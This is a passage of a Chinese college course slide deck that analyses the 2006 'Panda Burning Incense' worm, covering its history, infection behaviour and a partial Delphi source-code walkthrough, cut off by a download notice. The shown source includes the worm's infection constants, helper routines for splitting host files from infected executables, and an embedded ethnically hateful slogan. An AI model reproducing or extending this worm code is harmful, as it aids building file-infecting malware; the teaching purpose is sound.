计算机病毒与防治
Virus
重庆电子工程职业学院
计算机病毒与防治课程小组
教学单元4-4 蠕虫病毒防治
第二讲 熊猫烧香蠕虫病毒剖析
熊猫烧香病毒特点
熊猫烧香病毒源码分析
熊猫烧香病毒行为分析
熊猫烧香病毒的手工清除
计算机病毒与防治课程小组
熊猫烧香病毒特点
病毒名称
又称
熊猫烧香
尼姆亚、武汉男生、worm.whBoy.、worm.nimaya.
病毒类型 蠕虫病毒
危险级别 ★★★★★
影响系统 Win 9X/ME/NT/2000/XP/2003
计算机病毒与防治课程小组
熊猫烧香病毒特点
2006年底,我国互联网上大规模爆发“熊猫烧香”病毒及其变种,
该病毒通过多种方式进行传播,同时该病毒还具有盗取用户游戏账 号、QQ账号等功能。该病毒传播速度快,危害范围广,截至案发 为止,已有上百万个人用户、网吧及企业局域网用户遭受感染和破 坏,引起社会各界高度关注。
《瑞星2006安全报告》将其列为十大病毒之首,在《2006年度中
国大陆地区电脑病毒疫情和互联网安全报告》的十大病毒排行中 一举成为“毒王”。
计算机病毒与防治课程小组
熊猫烧香病毒特点
熊猫烧香一个感染型的蠕虫病毒,它能感染系统中exe,com, pif,src,html,asp等文件,它还能中止大量的反病毒软件进 程并且会删除扩展名为gho的文件,该文件是一系统备份工具 GHOST的备份文件,使用户的系统备份文件丢失。
被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。
计算机病毒与防治课程小组
熊猫烧香病毒特点
病毒制造者
湖北省公安厅2007年2月
12日宣布,根据统一部署, 湖北省网监在多个省市公 安机关的配合下,一举侦 破了制作传播“熊猫烧香” 病毒案,抓获李俊(男, 25岁,武汉新洲区人)。
计算机病毒与防治课程小组
熊猫烧香病毒源码分析
病毒结构
含有病毒体的文件被运行 后,病毒将自身拷贝至系 统目录,同时修改注册表 将自身设置为开机启动项, 并遍历各个驱动器,将自 身写入磁盘根目录下,增 加一个Autorun.inf文件, 使得用户打开该盘时激活 病毒体。随后病毒体开一 个线程进行本地文件感染, 同时开另外一个线程连接 网站下载ddos程序进行发 动恶意攻击。
开始
当前操作系统是 否为win9x
否
通过远程映射技术将自己 映射到Explorer进程空间
是 把自己注册为服务进程
否 当前文件是否为 Japussy.exe
病毒程序已经寄生于宿主 程序,从已感染的宿主文 件中分离出无毒的真正的 宿主文件,并启动这个无 毒的宿主程序。
是 InfectFiles
结束
主程序流程图
计算机病毒与防治课程小组
熊猫烧香病毒源码分析
病毒文件初始信息 Prog
ram japussy; uses windows, sysutils, classes, graphics, shellapi{, registry}; const headersize = 82432; //病毒体的大小 iconoffset = $12eb8; //pe文件主图标的偏移量 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { headersize = 38912; //upx压缩过病毒体的大小 iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量 } iconsize = $2e8; //pe文件主图标的大小--744字节 icontail = iconoffset + iconsize; //pe文件主图标的尾部 id = $44444444; //感染标记
计算机病毒与防治课程小组
熊猫烧香病毒源码分析
//垃圾码,以备写入 catchword = 'if a race need to be killed out, it must be yamato .'+ 'if a country need to be destroyed, it must be japan! ' + '*** w32.japussy.worm.a ***'; {$r *.res} function registerserviceprocess(dwprocessid, dwtype: integ er): integer; stdcall; external 'kernel32.dll'; //函数声明 var tmpfile: string; si: startupinfo; pi: process_information; isjap: boolean = false; //日文操作系统标记
计算机病毒与防治课程小组
熊猫烧香病毒源码分析
{ =====判断是否为win9x =====}
function iswin9x: boolean; var ver: tosversioninfo; begin result := false; ver.dwosversioninfosize := sizeof(tosv ersioninfo); if not getversionex(ver) then exit; if (ver.dwplatformid = ver_platform_win 32_windows) then //win9x result := true; end;
计算机病毒与防治课程小组
熊猫烧香病毒源码分析
{===== 在流之间复制===== } procedure copystream(src: tstream; ssta rtpos: integer; dst: tstream; dstartpos: integer; count: integer); var scurpos, dcurpos: integer; begin scurpos := src.position; dcurpos := dst.position; src.seek(sstartpos, 0); dst.seek(dstartpos, 0); dst.copyfrom(src, count); src.seek(scurpos, 0); dst.seek(dcurpos, 0); end;
计算机病毒与防治课程小组
熊猫烧香病毒源码分析
{======将宿主文件从已感染的PE文件中分离出来,以备使用=====}
procedure extractfile(filename: string); var sstream, dstream: tfilestream; begin try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone); try dstream := tfilestream.create(filename, fmcreate); try sstream.seek(headersize, 0); //跳过头部的病毒部分 dstream.copyfrom(sstream, sstream.size - headersize); finally dstream.free; end; finally sstream.free; end;
计算机病毒与防治课程小组
熊猫烧香病毒源码分析
{===== 填充startupinfo结构 =====}
procedure fillstartupinfo(var si: start upinfo; state: word); begin si.cb := sizeof(si); si.lpreserved := nil; si.lpdesktop := nil; si.lptitle := nil; si.dwflags := startf_useshowwindow; …… 此处隐藏:2514字,全部文档内容请下载后查看。喜欢就下载吧 ……